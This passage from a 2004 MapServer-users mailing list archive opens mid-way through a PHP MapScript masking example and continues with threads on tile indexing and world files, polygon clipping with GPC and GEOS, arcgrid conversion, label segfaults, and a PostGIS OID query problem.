\n"; printf("\n", $url, $map->width, $map->height); ////////////// // Use the parks layer as a mask... we only want to see the base layers // through the area of the park polygons and the rest should be light grey. // Start by creating a new image ... $img2 = $map->prepareimage(); // ... and we'll use a rectObj to draw the opaque mask background $rect = ms_newRectObj(); $rect->setExtent(0, 0, $map->width, $map->height); // We need to create a temporary layer and class to use in drawing the // filled rectangle that will be the opaque part of the mask. $tmplayer = ms_newLayerObj($map); $tmplayer->set("type", MS_LAYER_POLYGON); $tmplayer->set("status", 1); $tmplayer->set("transform", MS_FALSE); $tmpclass = ms_newClassObj($tmplayer); $tmpstyle = ms_newStyleObj($tmpclass); $tmpstyle->color->setRGB(222,222,222); $rect->draw($map, $tmplayer, $img2, 0, ""); // Draw rect with class 0 // Now fetch the park layer and change its only class to use color index 0 // which is the transparent background color... so the parks polygons will // create transparent holes in the mask $layer = $map->getLayerByName("park"); $layer->set("status", 1); $class = $layer->getClass(0); $style = $class->getStyle(0); $style->color->setRGB(12,12,12); $style->outlinecolor->setRGB(12,12,12); $layer->draw($img2); $url = $img2->saveWebImage(); echo "

Draw the mask into another image...

\n"; printf("\n", $url, $map->width, $map->height); //////// // Last step... combine the two images using pasteImage() // echo "

And combine the two with pasteImage()... you see the base layer through the holes in the mask...

\n"; $img1->pasteImage($img2, 0x0c0c0c); $url = $img1->saveWebImage(); printf("\n", $url, $map->width, $map->height); ?> --------------080500060909030205020503-- From eduardo at consultoria.eti.br Mon May 3 11:05:53 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Mon, 3 May 2004 15:05:53 -0300 Subject: [Mapserver-users] Which is better: PHPMapScript query engine or PHP dBase functions? Message-ID: <20040503180553.26505.qmail@hm47.locaweb.com.br> I have a mapserver+php+mapscript that will query on a shapefile database on a single layer, through its atributes. The system will give as result a set of items on a result list as a first step. Then as a second step a map displaying these results should be given. my doubt is: to create this result list which will be best strategy: - use PHPMapScript to query against the mapfile ? or - simply use PHP dBase functions to query against dBase files of the mapfile? which one is the best/fastest alternative? best regards. Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** From mapserver at meteologica.es Mon May 3 11:18:18 2004 From: mapserver at meteologica.es (Paco Regodon) Date: Mon, 3 May 2004 20:18:18 +0200 Subject: [Mapserver-users] Seg fault with labels In-Reply-To: References: Message-ID: <200405032018.18348.mapserver@meteologica.es> I had a similar problem and solved it using "LABELCACHE OFF". Hope it helps. Paco On Monday 03 May 2004 18:22, Matt Hatcher wrote: > Hi all, > > I'm running Mapserver 4.0.2 on Mandrake Linux 9.2. It was built with the > help of the redhat 9 guide in the wiki. Thanks to the guy who put that > together! > > I'm having problems with labelling layers. Mapserver works beautifully > providing I don't try to use labels. If I do (either using bitmap or > truetype), I get Internal Server Error. Running the query at the command > line using the QUERY_STRING debug, I get a seg fault. > > This suggests to me a problem with my freetype or gd libraries - I'm using: > freetype-1.3.1-20mdk.rpm, libfreetype6-2.1.4-6mdk and gd-2.0.15 > > My mapserv -v is: > MapServer version 4.0.2 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF > SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT > SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=JPEG INPUT=POSTGIS INPUT=OGR > INPUT=GDAL INPUT=SHAPEFILE > > I've tried to run ./configure without freetype, but it still compiles the > libraries in and I get the same result. > > Anybody got any bright ideas?! > > Thanks in advance > Matt. > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of > mapserver-users-request at lists.gis.umn.edu > Sent: 02 May 2004 18:00 > To: mapserver-users at lists.gis.umn.edu > Subject: Mapserver-users digest, Vol 1 #509 - 9 msgs > > > Send Mapserver-users mailing list submissions to > mapserver-users at lists.gis.umn.edu > > To subscribe or unsubscribe via the World Wide Web, visit > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > or, via email, send a message with subject or body 'help' to > mapserver-users-request at lists.gis.umn.edu > > You can reach the person managing the list at > mapserver-users-admin at lists.gis.umn.edu > > When replying, please edit your Subject line so it is more specific > than "Re: Contents of Mapserver-users digest..." > > > Today's Topics: > > 1. RE: world files and tile indexing (Ed McNierney) > 2. Re: Shapelib, GPC, PHP, and polygon clipping (Frank Warmerdam) > 3. Re: arcgrid to ascii(etc) (Frank Warmerdam) > 4. Looking for reference links and online MapServer/MapScript Forum > (Mike Juvrud) > 5. Re: Looking for reference links and online MapServer/MapScript Forum > (Eduardo Patto Kanegae) > 6. RE: [postgis-users] RE: gone are my query results (Charlton Purvis) > 7. RE: [postgis-users] RE: gone are my query results (Gregory S. > Williamson) > 8. RE: [postgis-users] RE: gone are my query results (Charlton Purvis) > 9. Re: RE: [postgis-users] RE: gone are my query results (Paul Ramsey) > > --__--__-- > > Message: 1 > Subject: RE: [Mapserver-users] world files and tile indexing > Date: Sat, 1 May 2004 13:39:07 -0400 > From: "Ed McNierney" > To: "Antonio Cosenza" , > > > This is a multi-part message in MIME format. > > ------_=_NextPart_001_01C42FA3.3437712E > Content-Type: text/plain; > charset="us-ascii" > Content-Transfer-Encoding: quoted-printable > > Antonio - > =20 > Thanks - that is very helpful! > =20 > Things seem fine, but you need to create georeference data for the > images in a way that can be used - the JPG files could have world files > (.JGW files) or the TIF files could have world files (.TFW) but you need > them. You need to create these world files. You should try to read the > coordinates from the shapefile (use shpdump) and you need to calculate > the values for the world files. With only three files you can > relatively easily do this by hand. > =20 > The shapefile polygons should give you the upper-left corner coordinate > of each tile, and you should be able to calculate the size of each pixel > in X and Y units from the shapefile polygons and information about how > many pixels wide and high each image is (use tiffinfo). > =20 > - Ed > Ed McNierney > President and Chief Mapmaker > TopoZone.com / Maps a la carte, Inc. > 73 Princeton Street, Suite 305 > North Chelmsford, MA 01863 > ed at topozone.com > (978) 251-4242=20 > > > _____ =20 > > From: Antonio Cosenza [mailto:antonio.cosenza at polito.it]=20 > Sent: Saturday, May 01, 2004 6:18 AM > To: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] world files and tile indexing > > > > > It would help if you could explain what you're trying to do! =20 > > ok, i'll try tou explain you my situation! > > > What > format are the raster files in now,=20 > > The raster files are in jpg format. They are a set of 3 tiles NOT > GEOREFERENCED (of course, they are jpg!). But, i have a shapefile, > called tile.shp (so, georeferenced) representing the footprints of the > tiles. In tile.shp, I created a field (Path) including the absoulte path > to tiff tiles on my disk (ex. /var/www/.....F4-C4.tif).Now, i converted > the jpg files in tiff files, without the world files. I use this mapfile > configuration: > > LAYER > NAME "pannelli" > STATUS ON > TYPE RASTER > TILEINDEX "./tile.shp" > TILEITEM "Path" > END > > I run maplab, but an error occurs: unable to open tiff files: > > > Description=09 > Unable to open world file for reading. in > /maplab/htdocs/common/wrapper/drawmap.php=09 > Failed to draw layer named 'pannelli'. in > /maplab/htdocs/common/wrapper/drawmap.php=09 > Unable to open world file for reading. in > /maplab/htdocs/common/wrapper/drawmap.php=09 > Failed to draw layer named 'pannelli'. in > /maplab/htdocs/common/wrapper/drawmap.php=09 > > So, i created some empty world files! This time, maplab runs without > error, but it doesn't show me the tiles. It shows me only a blank page. > Where is the problem? > > > > > and what geographic reference data > do you have for them (and in what format)? > =09 > - Ed > =09 > Ed McNierney > President and Chief Mapmaker > TopoZone.com / Maps a la carte, Inc. > 73 Princeton Street, Suite 305 > North Chelmsford, MA 01863 > ed at topozone.com > (978) 251-4242 =20 > =09 > -----Original Message----- > From: Antonio Cosenza [mailto:antonio.cosenza at polito.it]=20 > Sent: Friday, April 30, 2004 5:43 AM > To: Ed McNierney; mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] world files and tile indexing > =09 > so, i need to convert the raster tiles in tiff format, without > world > files? Right? > =09 > thanks > =09 > Ed McNierney wrote: > =09 > =20 > > Antonio - > =09 > Yes, as long as the georeference information is there > for the tile=20 > index to be created (and for the image to be rendered > properly). =20 > GeoTIFFs can be used in a TILEINDEX layer without world > files. > =09 > - Ed > =09 > Ed McNierney > President and Chief Mapmaker > TopoZone.com / Maps a la carte, Inc. > 73 Princeton Street, Suite 305 > North Chelmsford, MA 01863 > ed at topozone.com > (978) 251-4242 > =09 > -----Original Message----- > From: Antonio Cosenza [mailto:antonio.cosenza at polito.it] > Sent: Thursday, April 29, 2004 2:40 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] world files and tile indexing > =09 > Hi everyvody, > is it possible to use tile indexing without world file? > =09 > thanks > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > =09 > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > =09 > =09 > =20 > =09 > =20 > > =09 > =09 > =09 > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > =09 > =20 > > > > ------_=_NextPart_001_01C42FA3.3437712E > Content-Type: text/html; > charset="us-ascii" > Content-Transfer-Encoding: quoted-printable > > > > charset=3Dus-ascii"> > > >

face=3DArial=20 > color=3D#0000ff size=3D2>Antonio -
>
face=3DArial=20 > color=3D#0000ff size=3D2> 
>
face=3DArial=20 > color=3D#0000ff size=3D2>Thanks - that is very = > helpful!
>
face=3DArial=20 > color=3D#0000ff size=3D2> 
>
face=3DArial=20 > color=3D#0000ff size=3D2>Things seem fine, but you need to create = > georeference data=20 > for the images in a way that can be used - the JPG files could have = > world files=20 > (.JGW files) or the TIF files could have world files (.TFW) but you need = > > them.  You need to create these world files.  You should try = > to read=20 > the coordinates from the shapefile (use shpdump) and you need to = > calculate the=20 > values for the world files.  With only three files you can = > relatively=20 > easily do this by hand.
>
face=3DArial=20 > color=3D#0000ff size=3D2> 
>
face=3DArial=20 > color=3D#0000ff size=3D2>The shapefile polygons should give you the = > upper-left=20 > corner coordinate of each tile, and you should be able to calculate the = > size of=20 > each pixel in X and Y units from the shapefile polygons and information = > about=20 > how many pixels wide and high each image is (use = > tiffinfo).
>
face=3DArial=20 > color=3D#0000ff size=3D2> 
>
class=3D456053617-01052004>    face=3DArial color=3D#0000ff size=3D2>- Ed
>
>

Ed McNierney
President and Chief = > Mapmaker
TopoZone.com /=20 > Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = > Chelmsford,=20 > MA  01863
ed at topozone.com
(978) 251-4242 = >


>
>
> From: Antonio Cosenza=20 > [mailto:antonio.cosenza at polito.it]
Sent: Saturday, May 01, = > 2004 6:18=20 > AM
To: mapserver-users at lists.gis.umn.edu
Subject: = > Re:=20 > [Mapserver-users] world files and tile indexing

>

>
cite=3Dmid13858AA1A74F30419F319ACB66A9D1224E4426 at mercator.topozone.com=20 > type=3D"cite">
It would help if you could explain what =
> you're trying to do!  
ok,=20 > i'll try tou explain you my situation!
>
cite=3Dmid13858AA1A74F30419F319ACB66A9D1224E4426 at mercator.topozone.com=20 > type=3D"cite">
What
> format are the raster files in now, 
The raster files = > are in=20 > jpg format.  They are a set of 3 tiles NOT GEOREFERENCED (of = > course, they=20 > are jpg!). But, i have a shapefile, called tile.shp (so, georeferenced)=20 > representing the footprints of  the tiles. In tile.shp, I created a = > field=20 > (Path) including the absoulte path to tiff tiles on my disk (ex.=20 > /var/www/.....F4-C4.tif).Now,  i converted the jpg files in tiff = > files,=20 > without the world files. I use this mapfile=20 > configuration:

 LAYER
    NAME=20 > "pannelli"
    STATUS ON
    TYPE=20 > RASTER
    TILEINDEX = > "./tile.shp"
   =20 > TILEITEM "Path"
  END

I run maplab, but an error occurs: = > unable=20 > to open tiff files:

>
Description
Unable to open world file for reading. in=20 /maplab/htdocs/common/wrapper/drawmap.php
Failed to draw layer named 'pannelli'. in=20 /maplab/htdocs/common/wrapper/drawmap.php
Unable to open world file for reading. in=20 /maplab/htdocs/common/wrapper/drawmap.php
Failed to draw layer named 'pannelli'. in=20 = /maplab/htdocs/common/wrapper/drawmap.php
> > > > > > > > > > > > >
So,=20 > > i created some empty world files! This time, maplab runs without error, = > but it=20 > doesn't show me the tiles. It shows me only a blank page.
Where is = > the=20 > problem?


>
cite=3Dmid13858AA1A74F30419F319ACB66A9D1224E4426 at mercator.topozone.com=20 > type=3D"cite">
and what geographic reference data
> do you have for them (and in what format)?
>
> 	- Ed
>
> Ed McNierney
> President and Chief Mapmaker
> TopoZone.com / Maps a la carte, Inc.
> 73 Princeton Street, Suite 305
> North Chelmsford, MA  01863
>  href=3D"mailto:ed at topozone.com">ed at topozone.com
> (978) 251-4242 =20
>
> -----Original Message-----
> From: Antonio Cosenza [ href=3D"mailto:antonio.cosenza at polito.it">mailto:antonio.cosenza at polito.i=
> t]=20
> Sent: Friday, April 30, 2004 5:43 AM
> To: Ed McNierney;  href=3D"mailto:mapserver-users at lists.gis.umn.edu">mapserver-users at lists.g=
> is.umn.edu
> Subject: Re: [Mapserver-users] world files and tile indexing
>
> so, i need to convert the raster tiles in tiff format, without world
> files? Right?
>
> thanks
>
> Ed McNierney wrote:
>
>   
>
Antonio -
>
> Yes, as long as the georeference information is there for the tile=20
> index to be created (and for the image to be rendered properly). =20
> GeoTIFFs can be used in a TILEINDEX layer without world files.
>
> 	- Ed
>
> Ed McNierney
> President and Chief Mapmaker
> TopoZone.com / Maps a la carte, Inc.
> 73 Princeton Street, Suite 305
> North Chelmsford, MA  01863
>  href=3D"mailto:ed at topozone.com">ed at topozone.com
> (978) 251-4242
>
> -----Original Message-----
> From: Antonio Cosenza [ href=3D"mailto:antonio.cosenza at polito.it">mailto:antonio.cosenza at polito.i=
> t]
> Sent: Thursday, April 29, 2004 2:40 PM
> To:  href=3D"mailto:mapserver-users at lists.gis.umn.edu">mapserver-users at lists.g=
> is.umn.edu
> Subject: [Mapserver-users] world files and tile indexing
>
> Hi everyvody,
> is it possible to use tile indexing without world file?
>
> thanks
> _______________________________________________
> Mapserver-users mailing list
>  href=3D"mailto:Mapserver-users at lists.gis.umn.edu">Mapserver-users at lists.g=
> is.umn.edu
>  href=3D"http://lists.gis.umn.edu/mailman/listinfo/mapserver-users">http:/=
> /lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>
> =20
>
>     

>
>
> _______________________________________________
> Mapserver-users mailing list
>  href=3D"mailto:Mapserver-users at lists.gis.umn.edu">Mapserver-users at lists.g=
> is.umn.edu
>  href=3D"http://lists.gis.umn.edu/mailman/listinfo/mapserver-users">http:/=
> /lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>   

> > ------_=_NextPart_001_01C42FA3.3437712E-- > > --__--__-- > > Message: 2 > Date: Sat, 01 May 2004 15:03:03 -0400 > From: Frank Warmerdam > To: "Ryan, Adam" > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Shapelib, GPC, PHP, and polygon clipping > > Ryan, Adam wrote: > > Steve, Frank, etc... > > > > A while back Steve Lime wrote in response to a request for polygon > > clipping > > > code. > > http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0201/msg00094.html > > > He suggested using the GPC library. I checked this out and was able to > > get > > > it to work. > > > > Is it worth trying to use GPC with either PHP mapscript or shapelib > > directly > > > and write a little routine to grab the shapes in question, convert them > > to > > > gpc ascii format, run the clip operation, and convert back to a shapefile > > result? In PHP I could build the ASCII files, then call a gpc > > executable, and then translate the ASCII result back into a new > > shapefile. > > > > Am I exploring old technology? Is there a better way? Seems like a lot > > of > > > steps but all the really hard work has been done and it's just a matter > > of reformatting data to work with the different tools. > > Adam, > > Invoking GPC externally via an ascii file interface may be too slow > depending > on your needs but it is certainly doable. > > From a more general point of view, it is my hope to interface the GEOS > library (http://geos.refractions.net) with OGR at some point with a > convenient > mechanism to convert OGR geometries into a form usable in GEOS. So from my > point of view a GEOS is the "future" of complex geometry operations in > OGR (and indirectly shapelib). In fact, I would like to see a nice SWIG'ed > interface to GEOS so that it can be easily used in most/all of the > mapscript supported languages. > > GEOS is the library used by PostGIS for geometry operations, but it is > independent of PostGIS. I think it does more than GPC. I was also slightly > soured on GPC because of problematic licensing issues as I recall. > > So, if you have a particular need that is satisfied by passing geometries > to GPC then by all means go ahead. However, I don't forsee it as being of > strategic value. If you are interested in cooperating on swigged > interfaces for GEOS and closer integration with OGR, Shapelib or MapServer > geometries then perhaps we could get something going. I hadn't really been > intending to get started on this yet though, so you might get stuck doing > quite a bit of the heavy lifting. > > Best regards, > -- > ---------------------------------------+----------------------------------- >- -- > I set the clouds in motion - turn up | Frank Warmerdam, > warmerdam at pobox.com > light and sound - activate the windows | http://pobox.com/~warmerdam > and watch the world go round - Rush | Geospatial Programmer for Rent > > > --__--__-- > > Message: 3 > Date: Sat, 01 May 2004 15:17:56 -0400 > From: Frank Warmerdam > To: "Jason M. Nielsen" > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] arcgrid to ascii(etc) > > Jason M. Nielsen wrote: > > Anyone know of software that can convert arcgrid .adf files to ascii? > > _______________________________________________ > > Jason, > > GDAL read Arc/Info binary grid files in .adf format and can export a > variety of formats including Arc/Info ASCII Grid format which is ... ASCII. > > eg. > > gdal_translate -of AAIGrid in_cov/w001001.adf out.grd > > > Best regards, > > -- > ---------------------------------------+----------------------------------- >- -- > I set the clouds in motion - turn up | Frank Warmerdam, > warmerdam at pobox.com > light and sound - activate the windows | http://pobox.com/~warmerdam > and watch the world go round - Rush | Geospatial Programmer for Rent > > > --__--__-- > > Message: 4 > From: "Mike Juvrud" > To: > Date: Sat, 1 May 2004 18:23:21 -0500 > Subject: [Mapserver-users] Looking for reference links and online > MapServer/MapScript Forum > > I'm a MapServer/PHP MapScript newbie, looking for online reference > materials, resources, sample code, etc. (beginner to advanced)...I would > appreciate links to anything you might recommend. (english or deutsch) > > (I have already downloaded and gone through the tutorials, references, > samples available on the mapserver & mapscript site.) > > Also - Is there a Mapserver/Mapscript forum/bulletin board online? > > Will sum, > > Mike Juvrud > > > --__--__-- > > Message: 5 > From: "Eduardo Patto Kanegae" > Date: Sat, 1 May 2004 23:58:10 -0300 > To: "Mike Juvrud" > CC: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Looking for reference links and online > MapServer/MapScript Forum > > at the official website , section Documentation, u will find all u're > looking for... > > for deutsch reference , take a look at www.mapmedia.de ... i think they > have a book about mapserver. > > Eduardo Patto Kanegae > http://www.consultoria.eti.br > UIN: 303747254 > > I Encontro Nacional de Usu?rios MapServer - > http://mapserver.cttmar.univali.br/encontro2004 > Projeto MapServer Brasil - http://mapserver.cttmar.univali.br > > ***Fim da Mensagem / End of Message *** > > > > > > On Sat, 1 May 2004 18:23:21 -0500, "Mike Juvrud" > > escreveu: > > De: "Mike Juvrud" > > Data: Sat, 1 May 2004 18:23:21 -0500 > > Para: > > Assunto: [Mapserver-users] Looking for reference links and online > > MapServer/MapScript Forum > > > I'm a MapServer/PHP MapScript newbie, looking for online reference > > materials, resources, sample code, etc. (beginner to advanced)...I would > > appreciate links to anything you might recommend. (english or deutsch) > > > > (I have already downloaded and gone through the tutorials, references, > > samples available on the mapserver & mapscript site.) > > > > Also - Is there a Mapserver/Mapscript forum/bulletin board online? > > > > Will sum, > > > > Mike Juvrud > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > --__--__-- > > Message: 6 > Date: Sat, 1 May 2004 22:59:22 -0400 > From: "Charlton Purvis" > To: "PostGIS Users Discussion" , > > Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query > results > > Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to > see if they have any pearls of wisdom. > > Everything looks great in the db. If I render a map, I see all the points > correctly. If I take that query and plug it in to the command line, I see > the rows. But the moment I try to do either a cgi query, WFS query, or a > PHP query, I get nothing back. No error message. > > I'm actually getting panicky which isn't any fun. Has anyone seen anything > like this before? > > Queries rely on OID's and SRID's. Is there any way they could have gotten > mucked up? Can I somehow refresh them? > > Thanks, > > Charlton > > -----Original Message----- > From: Gregory S. Williamson [mailto:gsw at globexplorer.com] > Sent: Sat 5/1/2004 6:20 PM > To: PostGIS Users Discussion > Cc: > Subject: [postgis-users] RE: gone are my query results > > > > > If you do the query directly to postgres (via psql or pgAdmin or whatever) > does the query return results ? > > If so, then my guess is that this is not a database error, at least not > directly. If ot then yes, it would seem that somehow the postGIS itself has > gottent snarfled. > > The change you made relating the geometryColumns doesn't sound to me like > it should effect queries unless somehow the SRID info for the tables in > your mapserver queries got clobbered; should be easy enough to confirm that > this data is ok. > > I am not familiar enough with PHP and mapserver to have a clue; does the > mapserver log itself show anything ? > > Not much help, I'm afraid, but perhaps posting this to the MMS list would > add some more knowledge to the issue at hand ? > > Greg Williamson > DBA > GlobeXplorer LLC > > -----Original Message----- > From: Charlton Purvis on behalf of Charlton Purvis > Sent: Sat 5/1/2004 2:46 PM > To: PostGIS Users Discussion > Cc: > Subject: gone are my query results > Hi, folks: > > Bizarre and unnerving problem here. > > Up until last night, mapping was fine and point-query was fine. Now it > appears that the mapping is still great, but the point query and WFS are > toast. I don't get any errors in pgsql.log or php.log. I get . . . > nothing. Even going mapserv cgi query returns empty for a query I know > should work. > > Maybe I'm being taught a lesson. In a separate database, I noticed that > addgeometrycolumn was taking too long -- I create about 400 smaller tables > per day. So I commented out fix_geometry_columns(); from the > addgeometrycolumn function and did it once I had finished creating all my > new tables. So am I paying the price? Has this corrupted this database as > well as my other? > > If all this is OID stuff, is there any way to refresh all OID's? > > Restarted . . . yes. VACUUM and ANALYZE'd . . . yes. > > Thanks, > > Charlton > > > > _______________________________________________ > postgis-users mailing list > postgis-users at postgis.refractions.net > http://postgis.refractions.net/mailman/listinfo/postgis-users > > > > > --__--__-- > > Message: 7 > Date: Sat, 1 May 2004 20:11:41 -0700 > From: "Gregory S. Williamson" > To: "PostGIS Users Discussion" , > > Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query > results > > > If you turn on the logging of statements in postgres and run the mapserver > side of things, does the query show up in the logs ? > > If the query does not appear then I'd suspect networking or permissions or > some darn thing keeping postgres from ever seeing the query. > > It it does show up then maybe the problem is in the return trip to MS or in > the processing of that data (perhaps your OID suspicions), since it sounds > as if the query itself can be processed. > > Any changes to *anything* on either server and anything in between ? (not > likely but always worth ruling out) > > Or, shot in the dark, something messing with TOLERANCE so no points are > selected in a query ? > > Very puzzling, I agree. > > Greg W. > > -----Original Message----- > From: Charlton Purvis on behalf of Charlton Purvis > Sent: Sat 5/1/2004 7:59 PM > To: PostGIS Users Discussion; mapserver-users at lists.gis.umn.edu > Cc: > Subject: RE: [postgis-users] RE: gone are my query results > Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to > see if they have any pearls of wisdom. > > Everything looks great in the db. If I render a map, I see all the points > correctly. If I take that query and plug it in to the command line, I see > the rows. But the moment I try to do either a cgi query, WFS query, or a > PHP query, I get nothing back. No error message. > > I'm actually getting panicky which isn't any fun. Has anyone seen anything > like this before? > > Queries rely on OID's and SRID's. Is there any way they could have gotten > mucked up? Can I somehow refresh them? > > Thanks, > > Charlton > > -----Original Message----- > From: Gregory S. Williamson [mailto:gsw at globexplorer.com] > Sent: Sat 5/1/2004 6:20 PM > To: PostGIS Users Discussion > Cc: > Subject: [postgis-users] RE: gone are my query results > > > > > If you do the query directly to postgres (via psql or pgAdmin or whatever) > does the query return results ? > > If so, then my guess is that this is not a database error, at least not > directly. If ot then yes, it would seem that somehow the postGIS itself has > gottent snarfled. > > The change you made relating the geometryColumns doesn't sound to me like > it should effect queries unless somehow the SRID info for the tables in > your mapserver queries got clobbered; should be easy enough to confirm that > this data is ok. > > I am not familiar enough with PHP and mapserver to have a clue; does the > mapserver log itself show anything ? > > Not much help, I'm afraid, but perhaps posting this to the MMS list would > add some more knowledge to the issue at hand ? > > Greg Williamson > DBA > GlobeXplorer LLC > > -----Original Message----- > From: Charlton Purvis on behalf of Charlton Purvis > Sent: Sat 5/1/2004 2:46 PM > To: PostGIS Users Discussion > Cc: > Subject: gone are my query results > Hi, folks: > > Bizarre and unnerving problem here. > > Up until last night, mapping was fine and point-query was fine. Now it > appears that the mapping is still great, but the point query and WFS are > toast. I don't get any errors in pgsql.log or php.log. I get . . . > nothing. Even going mapserv cgi query returns empty for a query I know > should work. > > Maybe I'm being taught a lesson. In a separate database, I noticed that > addgeometrycolumn was taking too long -- I create about 400 smaller tables > per day. So I commented out fix_geometry_columns(); from the > addgeometrycolumn function and did it once I had finished creating all my > new tables. So am I paying the price? Has this corrupted this database as > well as my other? > > If all this is OID stuff, is there any way to refresh all OID's? > > Restarted . . . yes. VACUUM and ANALYZE'd . . . yes. > > Thanks, > > Charlton > > > > _______________________________________________ > postgis-users mailing list > postgis-users at postgis.refractions.net > http://postgis.refractions.net/mailman/listinfo/postgis-users > > > > > > > > --__--__-- > > Message: 8 > Date: Sat, 1 May 2004 23:42:34 -0400 > From: "Charlton Purvis" > To: "PostGIS Users Discussion" , > > Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query > results > > OK, Greg, I think we might be onto something. But it still looks very > grim. > > I turned on all the logging, and I notice that MS sends it this query: > > LOCATION: pg_parse_query, postgres.c:464 > LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT > temperature_celcius::text,asbinary(force_collection(force_2d(the_geom)),'ND >R '),OID::text from sst_map WHERE (date_trunc('hour',report_time_stamp + > interval '1 hour' * -04) = date_trunc('hour',timestamp without time zone > '2004-05-01 22:00:00') and (label_z <= 5 or label_z is null)) and (the_geom > && setSRID( 'BOX3D(-83.0454044480208 24.3838940085927,-82.6541628156105 > 24.775135641003)'::BOX3D,find_srid('','sst_map','the_geom') )) > > OK. That's good. Because if I stick the SELECT part at a psql prompt, I > get back the row I want. And I also notice that its OID is 2185295089. > > But if I look at the last sql statement in the log, it's another cursor, > but the OID is wrong. > > LOCATION: pg_parse_query, postgres.c:464 > LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT > > station_id::text,time_stamp::text,z::text,label_z::text,temperature_celcius: > :text,temperature_fahrenheit::text,value_temperature_celcius::text,value_te > :m > > perature_fahrenheit::text,lon::text,lat::text,title::text,institution::text >, > institution_url::text,institution_dods_url::text,source::text,refs::text,co >n > tact::text,report_time_stamp::text,asbinary(force_collection(force_2d(the_g >e om)),'NDR') from sst_map WHERE OID = 2147483647 > > So had they kept the OID, I would be in good shape. > > This isn't looking good!!! > > Charlton > > -----Original Message----- > From: Gregory S. Williamson [mailto:gsw at globexplorer.com] > Sent: Sat 5/1/2004 11:11 PM > To: PostGIS Users Discussion; mapserver-users at lists.gis.umn.edu > Cc: > Subject: RE: [postgis-users] RE: gone are my query results > > > > > If you turn on the logging of statements in postgres and run the mapserver > side of things, does the query show up in the logs ? > > If the query does not appear then I'd suspect networking or permissions or > some darn thing keeping postgres from ever seeing the query. > > It it does show up then maybe the problem is in the return trip to MS or > in the processing of that data (perhaps your OID suspicions), since it > sounds as if the query itself can be processed. > > Any changes to *anything* on either server and anything in between ? (not > likely but always worth ruling out) > > Or, shot in the dark, something messing with TOLERANCE so no points are > selected in a query ? > > Very puzzling, I agree. > > Greg W. > > -----Original Message----- > From: Charlton Purvis on behalf of Charlton Purvis > Sent: Sat 5/1/2004 7:59 PM > To: PostGIS Users Discussion; mapserver-users at lists.gis.umn.edu > Cc: > Subject: RE: [postgis-users] RE: gone are my query results > Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to > see if they have any pearls of wisdom. > > Everything looks great in the db. If I render a map, I see all the points > correctly. If I take that query and plug it in to the command line, I see > the rows. But the moment I try to do either a cgi query, WFS query, or a > PHP query, I get nothing back. No error message. > > I'm actually getting panicky which isn't any fun. Has anyone seen > anything like this before? > > Queries rely on OID's and SRID's. Is there any way they could have gotten > mucked up? Can I somehow refresh them? > > Thanks, > > Charlton > > -----Original Message----- > From: Gregory S. Williamson [mailto:gsw at globexplorer.com] > Sent: Sat 5/1/2004 6:20 PM > To: PostGIS Users Discussion > Cc: > Subject: [postgis-users] RE: gone are my query results > > > > > If you do the query directly to postgres (via psql or pgAdmin or whatever) > does the query return results ? > > If so, then my guess is that this is not a database error, at least not > directly. If ot then yes, it would seem that somehow the postGIS itself has > gottent snarfled. > > The change you made relating the geometryColumns doesn't sound to me like > it should effect queries unless somehow the SRID info for the tables in > your mapserver queries got clobbered; should be easy enough to confirm that > this data is ok. > > I am not familiar enough with PHP and mapserver to have a clue; does the > mapserver log itself show anything ? > > Not much help, I'm afraid, but perhaps posting this to the MMS list would > add some more knowledge to the issue at hand ? > > Greg Williamson > DBA > GlobeXplorer LLC > > -----Original Message----- > From: Charlton Purvis on behalf of Charlton Purvis > Sent: Sat 5/1/2004 2:46 PM > To: PostGIS Users Discussion > Cc: > Subject: gone are my query results > Hi, folks: > > Bizarre and unnerving problem here. > > Up until last night, mapping was fine and point-query was fine. Now it > appears that the mapping is still great, but the point query and WFS are > toast. I don't get any errors in pgsql.log or php.log. I get . . . > nothing. Even going mapserv cgi query returns empty for a query I know > should work. > > Maybe I'm being taught a lesson. In a separate database, I noticed that > addgeometrycolumn was taking too long -- I create about 400 smaller tables > per day. So I commented out fix_geometry_columns(); from the > addgeometrycolumn function and did it once I had finished creating all my > new tables. So am I paying the price? Has this corrupted this database as > well as my other? > > If all this is OID stuff, is there any way to refresh all OID's? > > Restarted . . . yes. VACUUM and ANALYZE'd . . . yes. > > Thanks, > > Charlton > > > > _______________________________________________ > postgis-users mailing list > postgis-users at postgis.refractions.net > 